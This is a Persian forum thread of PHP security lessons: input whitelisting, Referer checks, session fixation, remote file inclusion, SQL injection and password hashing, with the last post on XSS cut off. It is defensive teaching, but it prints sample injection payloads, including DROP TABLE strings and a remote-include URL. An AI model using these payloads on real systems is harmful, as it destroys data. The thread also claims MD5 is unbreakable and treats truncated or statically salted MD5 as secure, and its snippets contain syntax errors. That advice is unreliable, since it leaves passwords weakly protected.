مقاله امنیت در php

alireza82

Well-Known Member
ارسال سوال در این تاپیک اکیدا ممنوع است با کاربران متخلف برخورد میشه
دوستان عزیز سعی کنید فقط مطالب اموزشی بزارید در قالب یک متن و حتی چند خط به یه چنین تاپیکی نیاز داشتیم

ویرایش توسط siavashmusic


سلام
تو این تاپیک قرار هست نکات تجربی و تئوریکی که در مورد امنیت یک کد میتونه کمک بکنه رو راجبش بحث کنم! از اونجایی که نکات زیاد هست و در موارد مختلفی باید بحث شه پس کم کم و به مرور این بخش تکمیل میشه! از دوستان خواهش میکنم اگر سوالی دارن در یک تاپیک مجزا بپرسن و اگر نکته ای بود و تجربه ای دارن در اختیار بقیه بزارن! البته در قالب بحث چون امنیت کد موارد متعددی رو شامل میشه از امنیت سشن ها تا امنیت در فرم ها که یکی یکی میریم جلو ! پس اگر داریم در مورد فرم ها صحبت مکنیم لطفا ییهو یکی نیاد راجب دیتابیس صحبت کنه! در کل میخوایم تاپیک اصولی جلو بره! پس شما هم کمک کنید تا این اتفاق بیفته! این قوانین رو به عنوان ایجاد کننده تاپیک به خودم اجازه دادم بزارم و بنابراین اگر پستی خارج از محدوده قوانین ارسال شه به خودم اجازه میدم تا از مدیر انجمن خواهش کنم حذفش کنه!!! امیدوارم بحث کامل و جامعی بشه!
در مورد مطالب هم همونطور که گفتم مطالب تجربه شخصی خودم و یا مطالبی هست که از این ور و اونور خوندم و حالا با یه جمع بندی اینجا قرار میگیره! اگر مطلب کاملی در یک مورد تو سایت های فارسی قرار داشته باشه اون مطلب با لینک منبع در اختیارتون قرار میگیره که حقوق مولف هاش حفظ بشه!
موفق باشید
 
آخرین ویرایش توسط مدیر:

alireza82

Well-Known Member
form spoofing

اما اولین مورد:
امنیت در فرم ها یا مقابله با حملات form spoofing
خوب تقریبا هیچ سایت داینامیکی نیست که حداقل یک فرم توش موجود نباشه! فرم ها برای گرفتن اطلاعات از کاربر استفاده میشن و خوب همین یعنی در بعضی موارد فاجعه! چرا خوب معلومه چون داریم از کاربر اطلاعاتی رو میگیریم و معلوم نیست اون چه چیزی رو وارد کنه!!! برای همین همیشه باید به فرم ها به یه چشم دیگه ای نگاه شه ! و نباید سرسری ازشون رد شد! البته یه بار دیگه هم گفتم هر چیزی باید به اندازه و به جا استفاده شه! پس اگر سایتی دارید که اطلاعات ورودی فرم براتون مهم هست حتما باید روش کار کنید!
اولین نکته ای که توی فرم ها میشه رعایت کرد تا از ورود داده های غیر مجاز جلوگیری کنیم روشی هست به نام filter input
درواقع تو این روش داده هایی که نباید وارد شن رو فیلتر میکنیم!
حالا یه مثال راجبش:
کد:
<form action="form.php"  method="POST">
username: <input type=text name=username >
username: <input type=text name=pass >
favourite colour:
<select name="color"<
<option> red </option>
<option> blue</option>
<option> green </option>
</select>
<input type=submit<
</form>
خوب نیازی به توضیح نداره دو تافیلد تکست داریم یکی برای نام کاربری و یکی برای پسورد و یه سلکت داریم که کاربر رنگ مورد علاقه خودش رو وارد میکنه!
فعلا بحث سر معتبر سازی بوسیله فیلتر ورودی هست پس روی مقادیر ورودی برای نام کاربری و کلمه عبور نمیتونیم نظارتی بکنیم! اما یه سلکت داریم که بحث فیلتر رو روی اون ادامه میدیم! شما از کجا میتونید مطمئن باشید که کاربر یکی از همون رنگ ها رو به عنوان ورودی وارد میکنه و مثلا رنگ yellow رو براتون نمیفرسته که تو سلکت ما موجود نبود! اینجا این روش به کارتون میاد که همونطور که گفتم میاید یک فیلترینگ برای ورودی های غیر مجاز انجام میدید!
حالا چه جوری اینجوری:
PHP:
$colour=array('Red','Blue','Green');
if(!in_array($_post[color],$colour){
header("location: form.php);
}
خوب ما اومدیم برای این کار یک آرایه از رنگ های مجاز ایجاد کردیم و گفتیم آقای کامپایلر php اگر رنگی که ارسال شد داخل آرایه رنگ های مجاز نبود این کاربر شیطون رو باز بفرست به صفحه ای که فرم رو ایجاد میکنه!
پس اولین نکته ای که توی فرم باید رعایت شه فیلتر کردن ورودی های کاربر هست!
در پایان یک بار دیگه هم عرض میکنم همه چیز باید به جاش خرج شه حتی امنیت! اگر شما مقادیر ورودی کاربر برای این فیلد رو مهم نمیدونید پس لازم نیست این کار رو انجام بدید!
یه نکته دیگه که راجب فرم ها هست مطمئن شدن از این نکته هست که واقعا فرم برای ماست سا نه کاربر خودش فرم رو ایجاد کرده! به عبارت دیگه فرض کنید شما اومدید یه فرم توی سایتتون ایجاد کردید و دارید از کاربر اطلاعاتی میگیرید و روش پردازشی انجاکم میدید. از کجا مطمئنید که فرم مال سایت خودتون هست به عبارت دیگه اگر من فرمی به شکل :
کد:
<form action="http://www.xxx.com/form.php"  method="POST">
username: <input type=text name=username >
username: <input type=text name=pass >
favourite colour:
<select name="color"<
<option> red </option>
<option> blue</option>
<option> green </option>
</select>
<input type=submit<
</form>
درست کنم روی سایت خودم خوب میتونم مقادیر دلخواه خودم رو برای شما بفرستم!
پس این نکته میمونه که باید ریفر فرم رو همیشه چک کرد! برای چک کردن ریفرز هم که مطوئن شید این اطلاعات از طریق فرم موجود توی سایت خودتون ایجاد شده میتونید از:
PHP:
$_SERVER['HTTP_REFERER']
استفاده کنید.
فعلا در مورد فرم ها همینقدر بسه! البته اگر نکته تکمیلی درمورد فرم ها به نظرم رسید همین پست ویرایش میشه!
 

alireza82

Well-Known Member
امنیت session

خوب یکی دیگه از جاهایی که امنیت کد نویسی توش مهم هست session ها هستن! خوب سشن ها بدلیل اینکه روی سرور ایجاد میشن برای بعضی از برنامه نویس ها خوشایند تر هستند! البته بعضی مواقع هم واقعا استفاده ازشون لازم هست مثل تصاویر امنیتی که برای جلوگیری از کار اسپمر ها توسط برنامه نویس استفاده میشه! اما در کل اگر مقادیر مهمی رو توی سشن ها ذخیره میکنید باید به فکر امنیت بخشیدن به کدتون و جلوگیری از سوء استفاده دیگران باشید.
اما سشن ها همونطور که گفتیم روی سرور ذخیره میشن و از این جهت خوب دسترسی کاربران به اون ها سخت هست چون باید به سرور دسترسی داشته باشند ! اما کوکی ها رو کامپیوتر کاربر ذخیره میشن و کاربر به اونها دسترسی داره! مزیت سشن ها در دسترس نبودن توسط کاربران هست اما عیب اونها هم به نظر من مصرف و اعمال بار پردازشی ای هست که به سرور وارد میکنن! از یه طرف کوکی ها روی کامپیوتر طرف ذخیره میشن و بار پردازشی رو میندازن رو کامپیوتر کاربر ولی خوب کاربر به اونها دسترسی داره! از یه طرف روی هاست های شیر که معلوم نیست چند نفر به سرور دسترسی دارن مقوله سشن ها کمی مهمتر میشه!
حالا چیکار کنیم که کسی نتونه از سشن ها استفاده کنه یه راهش ریجنریت کردن مداوم SID هست که چون سایت iranphp.net این قسمت رو بخوبی گفته اوا مقاله اونها رو میزارم:
----------------------------start iranphp.net------------------
نكته امنيتي امروز ما مربوط مي‌شود به يكي از مهمترين و حساس‌ترين ابزارهاي امنيتي، نوعي حمله مربوط به آن و روش پيش‌گيري از اين حمله به شكلي صحيح خوب همانطور كه شايد برخي از شما حدس زده‌ايد امروز مي‌خواهيم در رابطه با جلسه‌ها(Session) باهم صحبت كنيم:
يكي از حملات بسيار مرسوم در مجموعه حملات شناخته شده تحت وب حمله موسوم به Session fixation هست كه نفوذگر در طي آن سعي دارد با شبيه جلوه دادن خود به كاربران به اطلاعات موجود در جلسه آنها دسترسي يابد. مهمترين و حساس‌ترين اطلاعات براي نفوذگر در اين شرايط چيست؟ خوب همانطور كه احتمالاً شما هم مي‌دانيد Session ID هسته اصلي اين نوع نفوذ خواهد بود در واقع Session ID كليدي است كه مي‌توان باداشتن آن ثابت نمود كه من كاربر X و شما كاربر Y هستيد و حالا اگر من كليد شما را به طريق بدست بياورم مي‌توانم خودم را جاي شما جابزنم و...
خوب پس از اين مقئمه براي دوستاني كه مي‌خواهند كمي بيشتر درمورد Session Fixation اطلاعات كسب كنند مرجع هميشگيمان http://www.wikipedia.com را پيشنهاد مي‌دهم كه مي‌توانيد توسط http://en.wikipedia.org/wiki/Session_fixation مستقيم به تارنماي دايرة المعارف ويكي‌پديا بخش مربوط به session fixation متصل گريدد.
خوب تا ايجا متوجه شديم كه برروي هاست‌هاي مشترك خطري با چنين محتوي نرم‌افزار ما را تهديد مي‌نمايد اما به واقع چگونه مي‌توان از چنين حفره‌هايي پشتيباني كرد و راه عبور را بر نفوذگران بست، ساده است چنانچه دائما احتمال به سرقت رفتن كليد خانه شما وجود داشته باشد شما چه‌مي‌كنيد خوب واضح است كليد را دائماً عوض مي‌كنيد در اينجا نيز ما چنين مي‌كنيم:
PHP:
<?php 
session_start(); 
if (!isset($_SESSION['initiated'])) 
{ 
session_regenerate_id(); 
$_SESSION['initiated'] = true; 
} 
?>
اما نكته‌اي در اينجا مطرح مي‌شود و آن اينكه با رفتن به آدرس اين صفحه در شاخه (پيش فرض) /tmp شما چنين چيزي مشاهده خواهد شد:
sess_82c6980017e100277a63983142fd454c
sess_a4bab88e6dfa6e900ade21e3fbd27a53
و اگر مجدداً صفحه را اجرا نمائيد:
sess_984c5230acca90b5a75eddb89bb48354
sess_a4bab88e6dfa6e900ade21e3fbd27a53
sess_82c6980017e100277a63983142fd454c
و مجدداً:
sess_984c5230acca90b5a75eddb89bb48354
sess_a4bab88e6dfa6e900ade21e3fbd27a53
sess_82c6980017e100277a63983142fd454c
sess_dd88c05b724d80b30c90309847f2e919
براي اجتناب از چنين وضعيتي كافيست تا كد خود را به اين شكل اصلاح نمائيد:
PHP:
<?php 
session_start(); 
if (!isset($_SESSION['initiated'])) 
{ 
$_SESSION['initiated'] = true; 
session_regenerate_id(true); 
} 

?>

----------------------------end of iranphp.net------------------
خوب در مقاله بالا روش خوبی رو بهمون داد تا در مورد سشن ها خیالمون راحت شه اما یه روش هم حالا من میگم که میتونید از همین روش من و یا تلفیق هر دو روش استفاده کنید ، من تلفیق هر دو روش رو بشخصه بهتون پیشنهاد میکنم تا خیالتون تا حد قابل قبولی راحت شه:
تو این روش میایم دو تا متغییر رو تو سشن هامون نگه میداریم! این دو متغییر عبارتند از:
PHP:
$_server[REMOTE_ADDR];
$_server[HTTP_USER_AGENT];
خوب این دو تا متغییر میتونن به ما کمک کنن تا مطمئن شیم کسی خیال سوئ استفاده نداره حالا چه جوری استفاده میکنیم ازشون:
PHP:
if(($_session[user_agent]!=$_server['HTTP_USER_AGENT]) OR ($_session[ip]!=$_server[REMOTE_ADDR]){
//کاربر رو باید بفرستید تا مجددا لوگین کنه
exit;
{
خوب و اما یه نکته دیگه میمونه که دیگه تا حد زیادی توپ خیالتون رو راحت میکنه!
اول از همه شما باید هاست رو از یه جایی تهیه کنید که مسئولاش اجازه استفاده از php.ini ی شخصی رو بهتون بدن. در واقع اجازه بدن با استفاده از این فایل شما تنظیمات خاص خودتون رو اعمال کنید. اگر همچین هاستی دارید!
فایل php.ini ور باز و دنبال

کد:
session.save_path
بگردید. این متغییر مسیر ذخیره سازی سشن ها رو برای کامپایلر مشخص میکنه!
به صورت پیش فرض روی هاست های ویندوز در فولدری به نام tmp و در لیوکس ها تو فلدری به نام temp ، حالا به این مکان دلخواه خودتون رو بدید ( روی هاست های شیر پیشنهاد میکنم حتما این کار رو بکنید).
توصیه اکید میکنم این مسیر رو یه جایی خارج از پوشه www یا public_html مشخص کنید تا دسترسی بهش به این سادگی ها امکان پذیر نباشه.
این هم راجب سشن ها دیگه چیزی بنظرم نمیاد :D
موفق باشید
 
آخرین ویرایش:

1p30

Member
سلام این مطلب برای من جالب بود شاید برای شما هم جالب باشه
---------راهنمایی ویژال php-------------------
---------نوشتن برنامه های php امن----------
اولین پیشنهاد در مورد ایجاد سایتهای وب امن قرار دادن فایلهای مهم و حساس مانند آنهایی که حاوی کد های رمز می باشند در دایرکتوری خارج از دایرکتوری ریشه برای سایت وب می باشند. هر برنامه کاربردی سرویس دهنده وب یک دایرکتوری را به عنوان ریشه برای سایت های وب در نظر می گیرد فایل های که در داخل این دایرکتوری قرار می گیرند از طریق url قابل دسترسی برای کاربران می باشند . اما فایلهایی که در دایرکتوری بالاتر از این دایرکتوری قرار گرفته اند قابل دسترسی نمی باشند. با استفاده از این روش می توان از این فایلها در اسکریپتهای phpاستفاده نمود
PHP:
require("../secure.php");
این دستور فایل secure.phpکه در دایرکتوری یک سطح بالاتر از دایرکتوری ریشه قرار دارد را به یک اسکریپ php الحاق می کند
.
موفق باشید
 

alireza82

Well-Known Member
file injection

خوب امروز هم یکم راجب امنیت فایل ها بنویسیم و به بررسی حملاتی موسوم به file injection خوب اول یه توضیح:
همونطور که میدونید php قادر هست به صورت مستقیم به فایل ها دسترسی داشته با شه و اونها رو اجرا کنه! منظورم فایل های php هست! چه طوری ؟! خوب با include دیگه!
اما این قدرت میتونه خطرناک هم باشه اگر ما درست ازش استفاده نکنیم!
حالا چه جوری یه مثال میزنم نمیدونم دیدید یا نه بعضی از برنامه نویس ها برای اینکه کارشون ساده شه و یه switch یا چارتا ifelse نزارن این جوری فایل اینکلود میکنن:
کد:
include "$_GET[section]/data.inc.php";
فکر کنم فهمیدید چه اتفاقی افتاد! این برنامه نویس سبک سر ما یه صفحه ای داره که بر حسب متغییر $_GET[section]; فایلی رو تو اون صفحه اینکلود میکنه!
خوب که چی کجاش خطرناکه!
خوب معلومه وقتی شما داری یه فایل و اینطوری اینکلود میکنی یه آدم شیطون میتونه متقییر شما رو عوض کنه مثلا بیاد و متغییر section رو بالای مرورگر عوض کنه به:

کد:
http://www.2ir.ir/attack
( سعی کردم مثال ساده باشه و الا کار دیگه ای میشه کرد که اصلا مهم نباشه فایل data.inc.php موجود باشه و فایل با هر نام دیگه ای رو اون سرور مورد نظر اینکلود شه)
خوب حالا اتفاقی که میافته اینه که :
برنامه نویس ما میخواست فایلی از سرور خودش اینکلود بشه در صورتی که الان داره فایل:
www.2ir.ir/attack/data.inc.php
از یه سرور دیگه اینکلود میشه! خوب حالا فهمیدید چی شد! این فایلی که داره اینکلود میشه دسترسیش میشه همون درسترسی اسکریپت شما یعنی owner حساب میشه! و به عبارتی دستوراتش اجرا میشه! دیگه خودتون تا ته برید! اگر از ساختار دستابیس خبر داشته باشه میتونه با دستوراتش اون رو پاک کنه! میتونه فایل حذف کنه! میتونه از فایل های موجود سر در بیاره و ... که خدارو شکر همه این امکانات رو php در اختیارش میزاره!
حالا چه جوری جلوش رو بگیریم! سادست 2 تا کار میشه کرد:
1- برای مشخص کردن فایلی که قرار هست اینکلود شه با بررسی مقدار متغییر این کار انجام شه و مسیر رو با متغییر مشخص نکنیم
2- یه آرایه مجاز از مقادیرای که section میتونه داشته باشه تهیه کنیم و اگر مقدار متغییر تو اون آرایه نبود ! فایلی رو اینکلود نکنیم!
PHP:
$ali=array('home','news','user');
if(in_array($_GET[section],$ali){
include "$_GET[section]/data.inc.php";
}else{
//نه دیگه کور خوندی میندازمت اونجا که عرب نی انداخت باز برگرد همینجا از اول کاراتو بکن!!! بی ادب ، بی تربیت ، بی نزاکت و  ... هر چی خودتون صلاح میدونید
}
خوب با توجه به اینکه تو این حملات فایل اینکلود شده دسترسی شما رو داره پس حواستون باشه! این نوع حملات حملات شایعی هستن
موفق باشید
 
آخرین ویرایش:

alireza82

Well-Known Member
SQL Injection

سلام
این مقاله کاملا از سایت iranphp.net کپی شده چون خیلی جامع و کامل گفته بود ترجیح دادم خودم یه مطلب ننویسم در موردش و از مقاله شیوای دوستان در این سایت رو اینجا بزارم!!! موفق باشید
----------------------------iranphp.net------------------------------
پیش از هر چیز سعی می‌کنم تعریفی از SQL Injection بياورم اين خيلي مهمه كه بدونيم معني اين كلمه چيست اين واژه به معناي تزريق SQL هست و خوب فکر می کنم دیگه حالا بشه حدس زد که این یعنی چی. یعنی اینکه یک کسی یک طوری یک چیزی رو به یک پایگاه داده SQL تزريق مي كنه تزريق هميشه يادآور اينه كه ماده اي خارجي كه از جنس مقصد نيست به اون وارد مي شه و اين واقعا همون چيزيه كه اتفاق ميفته حالا با بیانی ساده آغاز می‌کنیم و به سراغ این می‌رویم که اگر برنامه‌های ما در مقابل این نوع حملات ضعف داشته باشند چگونه می‌توانند مورد حمله واقع شوند.

در واقع سه نوع حمله از اين دست وجود دارند كه دوتا از اونها مد نظر ما هستند

1- حملاتي كه ناشي از اشتباه در فيلترينگ گريزكاركترها(escape characters)هستند

2- حملاتی که ناشی از اشتباه در نوع داده هستند

3- حملاتی که به حفره های ذاتی پایگاه های داده مربوط می‌شوند

پر واضح است که دو دسته اول مدنظر ماست که ادامه به بررسی اونها خواهیم پرداخت.

خوب اجازه بدهید در مورد اولی مثالی ببینیم



کد:
mysql_query('SELECT * FROM user WHERE username = "' . $_GET['username'] . '");

همونطوری که مشاهده می کنیم مانند همیشه خیلی عادی دارید نام کاربری که کاربر براتون با متد GET پست كرده رو جستجو مي كنيد كه اگر يافت كرديد به اون كاربر اجازه ورود بديد هدفمون اصلا اين نيست كه اين كد رو پيچيده كنيم مثلا شما با خودتون بگين كه اگر من باشم حتما با POST می فرستم و حتما پسورد را هم چک می کنم و حتما پسورد را دوبار md5 مي كنم زيرا كه اصلا حفره در اينجا نيست تصور كنيد كه يك نفوذگر(نه هکر) چنين چيزي را ارسال كند:



' OR '1'='1



و نتیجه نهایی در پرس و جوی SQL چنين مي شود

کد:
mysql_query('SELECT * FROM user WHERE username = "' . ' OR '1'='1 . '");


خوب حالا نظرتون چیه!

می دونین مشکل اینجاست که قضیه به این سادگی ها هم ختم نمی شه و می شه یک نفوذگر ماهر ده ها مورد دیگر رو هم مورد استفاده قرار بده بطور مثال:


کد:
a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
که نتیجه تعصف برانگیز


کد:
mysql_query('SELECT * FROM user WHERE username = "' . a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% 

 . '");

را به همراه خواهد داشت موارد دیگر مانند بوجود آوردن خطاها و گرفتن اطلاعات بدست آوردن نسخه پایگاه داده اجرا کردن کدها و مباحث پیشرفته SQL Injection رو نام برد كه در هر مورد سخنان زيادي مي شه گفت حالا اجازه دهيد كه به سراغ حفره دوم برويم :

کد:
mysql_query("SELECT * FROM user WHERE id = " + variable + ";");
واضح است که برنامه نویس در اینجا انتظار دارد که متغیری عددی در جای variable وارد گردد حال اگر بدون كنترل كردن نوع داده اين كد را در اختيار كاربران بگذارد به چنين چيزي روبرو مي شود

1;DROP TABLE users
و احتمالا دیگر نیازی نیست که بگویم بعدا چه اتفاقی خواهد افتاد خوب حالا چه باید کرد؟

حقیقت این است که اگر حفره های امنیتی عموما کابوسی وحشت ناک بشمار می آیند اما پیش گیری از آنها بسیار ساده است دو کد برای شما ذکر می کنم که منبع اون ها یکی از سایتهایی بود که چند وقت پیش در این زمینه مطالعه می کردم و الان آدرس اونها در ذهنم نیست

در مورد حفره اول تابعی را می نویسیم که بسیار ساده و در عین حال محکم و قابل اعتماد است

کد:
function sql_quote( $value )

{

    if( get_magic_quotes_gpc() )

    {

          $value = stripslashes( $value );

    }

    //check if this function exists

    if( function_exists( "mysql_real_escape_string" ) )

    {

          $value = mysql_real_escape_string( $value );

    }

    //for PHP version < 4.3.0 use addslashes

    else

    {

          $value = addslashes( $value );

    }

    return $value;

}
و نحوه استفاده از اون هم بسیار ساده است
کد:
$username = $_POST['username'];

query = "SELECT * FROM users WHERE username='" . sql_quote($username) . "'";

در مورد نکته دوم هم که کلاس امیرمحمد عزیز رو مورد استفاده قرار دادم که یکی از مجموعه های بدرد بخور PEAR هست و به آدرس http://pear.php.net/package/Validate می تونین اون رو دریافت کنین و آدرسی که در کد هست رو به مسیر دلخواهی که این فایل درون قرار داره تغییر بدین


کد:
//init validate object

include_once('your_path_to_pear_directory/Validate.php');

$validate = &new Validate();

 

//get POST variables

$username = $_POST['username'];

$email = $_POST['email'];

$age = $_POST['age'];

 

//validate username, only alphanumeric and space characters are allowed

//VALIDATE_ALPHA, VALIDATE_NUM, VALIDATE_SPACE constants are defined in Validate class.

if( !$validate->string( $username, array('format'=>VALIDATE_ALPHA . VALIDATE_NUM . VALIDATE_SPACE ) ) )

{

    //throw some username error

}

//validate email

if( !$validate->email( $email ) )

{

    //throw some email error

}

//validate age, only numbers between 0 and 100 are allowed

if( !$validate->number( $age, array( 'min'=>0, 'max'=>100 ) ) )

{

    //throw some age error

}
خوب حالا چند مورد اضافی هم باید ذکر کنم در مورد کد اول چند تابع می بینید که برای پاسخ به حس کنجکاوی شما توضیحی براشون نمیارم ولی در پایگاه های داده گوناگون توابع در نظر گرفته شده تقریبا به همین شکل هستند

کد:
MySQL: mysql_real_escape_string()
PostgreSQL: pg_escape_string()
SQLite: sqlite_escape_string()
راه حل خوب دیگری که حتما باید ذکر گردد استفاده از PDO است كه در اينجا مجالي براي شرح آن نیست و توضیحاتی در این زمینه را می تونین در
کد:
http://ir2.php.net/pdo

و

http://www.devshed.com/c/a/PHP/Using-PDO-Objects-in-PHP-5/

مشاهده کنید مورد سوم که شخصا شدیدا اون رو توصیه که نه دستور می دهم استفاده از DAL هاست كه شخصا پيشنهادم PEAR::MDB2 هست اما هر سه گزينه زير قابل تامل و بدرد بخور هستند
کد:
AdoDB: http://adodb.sourceforge.net/

PEAR::MDB2: http://pear.php.net/package/MDB2

Zend_Db: http://framework.zend.com/manual/en/zend.db.html
-------------------------end of iranphp.net---------------------------------
 
آخرین ویرایش:

alireza82

Well-Known Member
Plain Text passwords

سلام
میخواستم امروز راجب shell بنویسم ، اما یه سری ادعا ها این چند روزه در مورد md5 و امنیتش شد که ترجیح دادم امرئز راجب امنیت پسورد ها بنویسم.
خوب بریم سر اصل مطلب:
امنیت در کلمات عبور:
کلمات عبور به صورت متن واضح و آشکار یا (Plain Text) :
خوب چیزی که واضح هست اینه که ما نباید کلمات عبور کاربران رو به صورت Plain Text در دیتابیس یا کوکی هامون ذخیره کنیم! چرا چون اگر کسی به دیتابیس یا کوکی دسترسی پیدا کنه اونوقت عملا کلمات عبور کاربران رو به راحتی بدست میاره و امکان ورودش با کلمه عبور کاربران به راحتی فراهم میشه!
اما راه حل چیه! راه حل اینکه کلمات عبور رو به این صورت داخل دیتابیس نریزیم استفاده از الگوریتم هایی هست به نام هشینگ یا هش کردن!
ابتدا اجازه بدید راجب الگوریتم های هش کمی با هم بحث کنیم:
برخلاف اون چیزی که تصور میشه الگوریتم های هشینگ ، در اصل الگوریتم رمز گذاری نیستند چون همونطور که میدونید الگوریتم های رمزگذاری
باید دو خاصیت رمزگذاری و رمزگشایی داشته باشن! به عبارت دیگه باید این امکان وجود داشته باشه تا از متن رمز شده به متن اصلی و از متن اصلی به متن رمز شده برسیم!
در صورتی که چنین امکانی در الگوریتم های هش وجود نداره! پس اول از همه یه اصطلاح رایج رو باید از این به بعد درست بیان کنیم چیزی به اسم رمز گذاری md5 یا sha1 وجود نداره بلکه باید گفت هش یا هشینگ md5 و sha1 !!!! نحوه کار الگوریتم های هش که دو نمونه قدرتمند اونها همون md5 و sha1 هیتند به این صورت هست که این الگوریتم ها میان به اضای هر تعداد کاراکتر حالا از یکی تا n تا کاراکتر به شما یه تعداد بیت مشخص داده میدن! مثلا md5 به اضای هر تعداد کاراکتری که بدید میاد بهتون 128 بیت برمیگردونه!
به این متن یا هش برگردونده شده میگن اثرانگشت یا fingerprint. دلیل این نام گذاری هم واضح هست در واقع مثل اثر انگشت انسان که در هر
شخص نسبت به دیگری متفاوت و به قول خودمون یکتاست این ها هم یکتا هستند!
به عبارت دیگه ! هیچ دو متنی نیستند که هش اونها برابر باشند مگر اینکه این دو متن در اصل یکی باشند! این الگوریتم ها ساختارشون به صورتی هست که عملا مهندسی معکوسشون غیر ممکن هست!
حالا بریم سر این موضوع که چه جوری کلمات عبور کاربران رو محافظت کنیم تا اصل کلمه عبور دست کسی نیفته!
چاره این کار استفاده از یکی از الگوریتم های پر کاربرد md5 و یا sha1 هست. خوشبختانه این دو الگوریتم در php پیاده سازی شدند و توابعی هم که این کار رو براتون میکنند به همین اسم هستند! یعنی md5() و sha1() .
شما باید کلمه عبور کاربر رو با یکی از این الگوریتم ها هش و در دیتابیس ذخیره کنید و از این به بعد هم کلمه عبور کاربر رو با همون الگوریتم هش و با ورودی کاربر برای کلمه عبور برابر قرار بدید تا اگر یکی بودن به کاربر اجازه ورود بدید!
مثال:
PHP:
$user_name = mysql_real_escape_string($_POST['username']);
$user_password = md5($_POST['password']);

$result = mysql_query('
SELECT COUNT(*) AS count
FROM users
WHERE user_name = "'.$user_name.'"
AND user_password = "'.$user_password.'"
');

$row = mysql_fetch_assoc($result);

if($row['count'] > 0) {
    // Password is okay.
}
همونطور که دیدید دیگه لازم نیست md5 یا sha1 مربوط به کلمه عبور رو escape کنید چون هش همیشه یه عبارت آلفانامریک هست.
اما حالا میرسیم به یه جای جالب:
توی بعضی جا ها این ادعا میشه که الگوریتم های هش لو رفتن و بدرد نمیخورن در واقع چیزی که هست اینه که ادعا میکنن این الگوریتم ها قابل شکستن هستند و فلان سایت و برنامه هم برای اینکار وجود داره و این کار رو میکنه!
حالا یه توضیحی برای این دوستان میدم!
به این جور سایت ها دیکشنری md5 میگن! حالا چرا؟!!
حتما همتون با دیکشنری تا حالا کار کردید! دیکشنری معنای یه لغت رو توی یه زبون به به زبون شما میده!
مثلا hello به فارسی میشه سلام!!!
این سایت ها هم اومدن یه سری عبارات و حروف و ... که داشتن رو تبدیل کردن به md5 و اصل عبارت رو ریختن تو دیتابیسشون حالا اگر شما یه هش بهشون بدی که این هش رو تو دیتابیسشون داشته باشن به راحتی عبارت رو برمیگردونن!!!
مثلا فرض کنید یکی از این سایت ها بیاد تمام کلمات و عبارات به کار رفته تو یه دیکشنری مثل oxford رو ورداره و md5
هاش رو بریزه تو دیتابیسش و از یه طرف هم مثلا تا 12 رقم یه for بزاره و md5 اعداد رو بریزه تو دیتابیسش از این به بعد این سایت قادره
تمام کلمات عبوری که یه کلمه معنی دار در انگلیسی هستند و یا اینکه عددی کوچکتراز 12 رقم هستن رو براتون برگردونه! چون دایره لغت خودش رو انقدر گسترش داده!!!!
به عبارت دیگه این میشه یه دیکشنری md5 to english!!!
حتما همتون به این جور سایت ها سر زدید و دیدید که هر چیزی رو برنمیگردونن دلیل اون هم همین هست که در واقع تو دایره لغت اونها این عبارت هش شده وجود نداشته! و هرچیزی رو که بدونن برمیگردونن نه همه چیز!
پس از این هم میشه دلیل و مدعایی برای اینکه مطمئن باشید این الگوریتم ها قابل شکستن نیستند و این نوع کارها یه کاربرد سادست ار اون چیزی که بهش گفتیم اثرانگشت و هیچ ربطی به شکسته شدن الگوریتم نداره!!! اگر الگوریتمی قابل شکستن باشه دیگه فرقی نیمیکنه چی بهش بدی!!
پس از این به بعد به این سایت ها میگیم دیکشنری md5 !!!
خوب این نکات رو مشخص کردم تا از این به بعد با خیال راحت و مطمئن از اینکه این الگوریتم ها برگشت پذیر نیستند کار کنید!!!
اما بعد از این همه بحث در مورد هشینگ میرسیم به اینکه چه نکته هایی رو باید برای این که با این دیکشنری ها مقابله کنیم باید رعایت کنیم ! به عبارت دیگه از کجامطمئن شیم کاربر یه کلمه عبور تابلو انتخاب نمیکنه و اون کلمه قابل شناسایی برای این دیکشنری ها نیست!!!!
شما دو تا کار میتونید انجام بدید:
راه یا روش اول:
تو روش اول شما عوض اینکه کل 128 بیت هش شده رو تو دیتابیس بریزید میاید مثلا 10 یا 15 کاراکتر اون حالا کمتر یا بیشتر برحسب سلیقه خودتون
من به جای اینکه 5f4dcc3b5aa765d61d8327deb882cf99 رو بریزم تو دیتابیس
میام از هرجا دویت دارم یه تعداد کاراکتر رو جدا و اون رو میریزم تو دیتابیس مثلا میام:
5d61d8327deb882cf9
رو از هش جدا میکنم و به عنوان کلمه عبور کاربر درنظر میگیرم و از این به بعد هم بعد از ورود کلمه عبور توسط کاربر با همین عبارت بررسی میکنم و اگر درست بود بهش اجازه ورود میدم!
اگر این عبارت از رو کوکی یا دیتابیس لو بره چون عملا یه md5 نیست پس هیچ دیکشنری ای هم نمیتونه اصل عبارت رو برام برگردونه
و به این شکل هست که مطمئن میشم کاربرم اگر تابلو هم کلمه عبور ورداره قابل شناسایی نیست!!!
راه دوم استفاده از یه رشته هست که خودمون اضافه میکنیم!
درواقع میایم برای ذخیره کلمه عبور رشته خودمون رو به کلمه عبور کاربر اضافه و بعد هم هش اش رو میریزیم تو دیتابیس و از اون طرف هم
موقع لوگین باز این رشته رو به ورودی کاربر اضافه و هش ها رو با هم برابر میکنیم! اگر بود کاربر اجازه لوگین داره!
مثال:
چیزی که تو دیتابیس سیو میشه!
PHP:
$salt = 'thequickbrownfox';
$password 'foobar123';

$salted_hash = md5($salt . $password);
و موقع ورود کاربر
PHP:
$salt = 'thequickbrownfox';

$user_name = mysql_real_escape_string($_POST['username']);
$user_password = md5($salt . $_POST['password']);

$result = mysql_query('
SELECT COUNT(*) AS count
FROM users
WHERE user_name = "'.$user_name.'"
AND user_password = "'.$user_password.'"
');

$row = mysql_fetch_assoc($result);

if($row['count'] > 0) {
    // Password is okay.
}
البته به جای thequickbrownfox بهتره از یه عبارت کاملا نامفهوم استفاده کنید مثل:
"s@aa#kkk%kk^()meacgdhjgdjfgj";
جملش که براتون مهم نیست :D
خیالتون راحت هیچ چیز و هیچ کسی نمیتونه عبارت اصلی رو بهتون برگردونه!! و ادعای شکستن یا لو رفتن md5 یه چیز دروغی و خنده دار بیش نیست پس گول نخورید و الکی هم حرص نخورید!!!!:D

از نظر امنیت الگوریتم sha1 باز هم نسبت به md5 از امنیت بالاتری برخورداره و تعداد بیتی که برمیگردونه 160 بیت هست! من خودم بیشتر از sha1 استفاده میکنم! البته جاهایی که توچشم هست عبارت برا دیتابیس از همون md5 استفاده میکنم!
موفق باشید
 
آخرین ویرایش:

alireza82

Well-Known Member
XSS attacks

سلام
اینم یه روش دیگه :
